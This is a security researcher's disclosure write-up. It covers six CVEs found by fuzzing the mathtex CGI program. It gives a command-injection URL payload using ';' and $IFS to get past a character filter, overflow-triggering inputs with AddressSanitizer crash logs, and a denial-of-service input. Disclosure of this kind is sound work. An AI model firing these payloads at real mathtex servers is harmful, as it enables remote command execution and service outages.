Contents

Fuzzing mathtex

Harness

int my_system(char* str) {
  printf(">>> Call system: %s\n", str);
  for(int i=0; str[i]; i++)
    if((unsigned char)(str[i]) > 128) {
      fprintf(stderr, "invalid system: %s\n", str);
      abort();
    }
  // return system(str);
  return 0;
}

FILE* my_popen(char* str, char* mode) {
  printf(">>> Call popen: %s\n", str);
  for(int i=0; str[i]; i++)
    if((unsigned char)(str[i]) > 128) {
      fprintf(stderr, "invalid popen: %s\n", str);
      abort();
    }
  // return popen(str, mode);
  return NULL;
}


// in main
{
    // ....
    FILE* fuzz_fp = fopen(argv[argnum], "r");
    fread(exprbuffer, 1, 40000, fuzz_fp);
    // ....
}

Result

Bug 1 - command injection (CVE-2023-51887)

There is a command injection vulnerability in mathtex <= 1.05, allowing attackers to bypass its filtering and achieve remote command execution.

Reproduce

Cause

In the main function, improper filtering allows attackers to execute arbitrary commands.

if (getdirective(expression, "\\which", 1, 0, 1, argstring) != NULL) {
    int ispermitted = 1;
    int nlocate = 1;
    char *path = NULL;
    char whichmsg[512];
    trimwhite(argstring);
    if (isempty(argstring))
      ispermitted = 0;                            /* arg is an empty string */
    else {                                        /* have non-empty argstring */
      int arglen = strlen(argstring);             /* #chars in argstring */
      if (strcspn(argstring, WHITESPACE) < arglen /* embedded whitespace */
          || strcspn(argstring, "{}[]()<>") < arglen  /* illegal char */
          || strcspn(argstring, "|/\"\'\\") < arglen  /* illegal char */
          || strcspn(argstring, "`!@%&*+=^") < arglen /* illegal char */
      )
        ispermitted = 0;
    }
    if (ispermitted) {
      path = whichpath(argstring, &nlocate);    // <- popen("which {argstring}")
      sprintf(whichmsg,
              "%s(%s) = %s", (path == NULL || nlocate < 1 ? "which" : "locate"),
              argstring, (path != NULL ? path : "not found"));
    } 
    // ...
}

Attackers can use ; to execute additional commands and can bypass filtering for spaces using $IFS.

Payload:

/cgi-bin/mathtex.cgi?\which{;cd$IFS..;cd$IFS..;cd$IFS..;ls$IFS-al}

Command executed in server:

which;cd ..;cd ..;cd ..;ls -al

Bug 2 - latex string stack-overflow and global-buffer-overflow (CVE-2023-51885)

In mathtex <= 1.05, when the length of the input LaTeX string exceeds 32768, a global-buffer-overflow and a stack-overflow occur, leading to command execution. This affects CLI mode, and CGI mode if the maximum URL length of http server is bigger than 32768.

Reproduce

python -c 'print("1"*33000)' | xargs ./mathtex.cgi

=================================================================
==875019==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5555560472a0 at pc 0x555555603ce9 bp 0x7fffffff56f0 sp 0x7fffffff4eb0
WRITE of size 33001 at 0x5555560472a0 thread T0
    #0 0x555555603ce8 in strcpy (/work/programs/mathtex/origin/mathtex.cgi+0xafce8) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)
    #1 0x555555656da3 in main /work/programs/mathtex/origin/mathtex.c:1026:7
    #2 0x7ffff7cea6c9  (/lib/x86_64-linux-gnu/libc.so.6+0x276c9) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #3 0x7ffff7cea784 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27784) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #4 0x55555557f400 in _start (/work/programs/mathtex/origin/mathtex.cgi+0x2b400) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)

0x5555560472a0 is located 0 bytes after global variable 'main.exprbuffer' defined in '/work/programs/mathtex/origin/mathtex.c:849' (0x55555603f2a0) of size 32768
SUMMARY: AddressSanitizer: global-buffer-overflow (/work/programs/mathtex/origin/mathtex.cgi+0xafce8) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98) in strcpy
Shadow bytes around the buggy address:
  0x555556047000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x555556047080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x555556047100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x555556047180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x555556047200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x555556047280: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x555556047300: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x555556047380: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x555556047400: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x555556047480: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x555556047500: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==875019==ABORTING

Cause

In the main function, the LaTeX string is copied to the buffer exprbuffer (in bss) using memcmp, and then further copied to the buffer hashexpr (in stack) without length checking.

Bug 3 - stack-overflow in validate() (CVE-2023-51889)

In mathtex <= 1.05, there is a stack overflow vulnerability in the validate() function, leading to remote command execution.

Reproduce

Web CGI:

CLI:

./mathtex.cgi '\def0<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<00&#9999999999999999999'


=================================================================
==879677==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffff65008a0 at pc 0x555555602ff8 bp 0x7fffffffd4b0 sp 0x7fffffffcc58
WRITE of size 2296 at 0x7ffff65008a0 thread T0
    #0 0x555555602ff7 in strcat (/work/programs/mathtex/origin/mathtex.cgi+0xaeff7) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)
    #1 0x55555565f818 in validate /work/programs/mathtex/origin/mathtex.c:2260:2
    #2 0x55555565716c in main /work/programs/mathtex/origin/mathtex.c:1049:1
    #3 0x7ffff7cea6c9  (/lib/x86_64-linux-gnu/libc.so.6+0x276c9) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #4 0x7ffff7cea784 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27784) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #5 0x55555557f400 in _start (/work/programs/mathtex/origin/mathtex.cgi+0x2b400) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)

Address 0x7ffff65008a0 is located in stack of thread T0 at offset 2208 in frame
    #0 0x55555565eb0f in validate /work/programs/mathtex/origin/mathtex.c:2137

  This frame has 5 object(s):
    [32, 120) 'pargs' (line 2196)
    [160, 2208) 'display' (line 2198)
    [2336, 2592) 'argstr' (line 2198) <== Memory access at offset 2208 partially underflows this variable
    [2656, 3680) 'optstr' (line 2198) <== Memory access at offset 2208 partially underflows this variable
    [3808, 3844) 'argfmt' (line 2220) <== Memory access at offset 2208 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/work/programs/mathtex/origin/mathtex.cgi+0xaeff7) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98) in strcat
Shadow bytes around the buggy address:
  0x7ffff6500600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ffff6500880: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x7ffff6500900: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500a00: 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00
  0x7ffff6500a80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x7ffff6500b00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==879677==ABORTING

Cause

The buffer display has a length of only 2048. Out-of-bounds writing can result in a stack overflow, leading to remote command execution.

Bug 4 - global-buffer-overflow in nomath() (CVE-2023-51888)

In mathtex <= 1.05, there is a global-buffer-overflow vulnerability in the nomath() function, leading to denial of service.

Reproduce

Web CGI:

CLI:

./mathtex.cgi '{[v#\xdef0000^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^a~\def<'


=================================================================
==884775==ERROR: AddressSanitizer: global-buffer-overflow on address 0x55555604eb91 at pc 0x555555672c3f bp 0x7fffffffd350 sp 0x7fffffffd348
WRITE of size 1 at 0x55555604eb91 thread T0
    #0 0x555555672c3e in strchange /work/programs/mathtex/origin/mathtex.c:4090:23
    #1 0x55555567294c in strreplace /work/programs/mathtex/origin/mathtex.c:4044:10
    #2 0x55555567338e in nomath /work/programs/mathtex/origin/mathtex.c:4203:1
    #3 0x55555565f809 in validate /work/programs/mathtex/origin/mathtex.c:2260:17
    #4 0x55555565716c in main /work/programs/mathtex/origin/mathtex.c:1049:1
    #5 0x7ffff7cea6c9  (/lib/x86_64-linux-gnu/libc.so.6+0x276c9) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #6 0x7ffff7cea784 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27784) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #7 0x55555557f400 in _start (/work/programs/mathtex/origin/mathtex.cgi+0x2b400) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)

0x55555604eb91 is located 17 bytes after global variable 'nomath.sbuff' defined in '/work/programs/mathtex/origin/mathtex.c:4181' (0x55555604db80) of size 4096
SUMMARY: AddressSanitizer: global-buffer-overflow /work/programs/mathtex/origin/mathtex.c:4090:23 in strchange
Shadow bytes around the buggy address:
  0x55555604e900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55555604e980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55555604ea00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55555604ea80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x55555604eb00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x55555604eb80: f9 f9[f9]f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55555604ec00: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55555604ec80: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55555604ed00: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55555604ed80: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x55555604ee00: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==884775==ABORTING

Cause

When there are many ^ characters in the input, an overflow occurs in the sbuff.

Bug 5 - convertpath global-buffer-overflow (CVE-2023-51886)

In mathtex <= 1.05, there is a global-buffer-overflow vulnerability in the main() function when using \convertpath, leading to denial of service.

Reproduce

python -c "print(b'\\convertpath{aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#36&#36&#36&#36&#36O&#\xef\xbf\xbdOO&O&#36n&#36OO&3Oaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')" | xargs ./mathtex.cgi


=================================================================
==890246==ERROR: AddressSanitizer: global-buffer-overflow on address 0x5555556c14a0 at pc 0x555555602ff8 bp 0x7fffffffd6f0 sp 0x7fffffffce98
WRITE of size 2 at 0x5555556c14a0 thread T0
    #0 0x555555602ff7 in strcat (/work/programs/mathtex/origin/mathtex.cgi+0xaeff7) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)
    #1 0x555555658b8e in main /work/programs/mathtex/origin/mathtex.c:1273:7
    #2 0x7ffff7cea6c9  (/lib/x86_64-linux-gnu/libc.so.6+0x276c9) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #3 0x7ffff7cea784 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x27784) (BuildId: 8a1bf172e710f8ca0c1576912c057b45f90d90d8)
    #4 0x55555557f400 in _start (/work/programs/mathtex/origin/mathtex.cgi+0x2b400) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98)

0x5555556c14a0 is located 0 bytes after global variable 'convertpath' defined in '/work/programs/mathtex/origin/mathtex.c:230' (0x5555556c13a0) of size 256
  'convertpath' is ascii string 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$$$$$O{[\&\#?]}\xef\xbf\xbdOO&O$n$OO&3Oaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaeaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
SUMMARY: AddressSanitizer: global-buffer-overflow (/work/programs/mathtex/origin/mathtex.cgi+0xaeff7) (BuildId: 0f1f0f34b336bcea9d93ea207603581bb90eda98) in strcat
Shadow bytes around the buggy address:
  0x5555556c1200: 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x5555556c1280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5555556c1300: 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9 f9 f9
  0x5555556c1380: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00
  0x5555556c1400: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x5555556c1480: 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9
  0x5555556c1500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5555556c1580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x5555556c1600: f9 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 00 00 00 00
  0x5555556c1680: 00 00 00 00 00 00 00 00 f9 f9 f9 f9 04 f9 f9 f9
  0x5555556c1700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==890246==ABORTING

Cause

Buffer convertpath() is only 256 bytes long.

Bug 6 - Infinite loop (CVE-2023-51890)

For mathtex <= 1.05, an attacker can input \calendara to launch a DoS attack on the server, causing it to enter an infinite loop and consuming CPU resources.

Reproduce

Cause

Infinite loop here:

Inputs like \calendarx and \calendarz can also trigger this vulnerability, but \calendar0 cannot.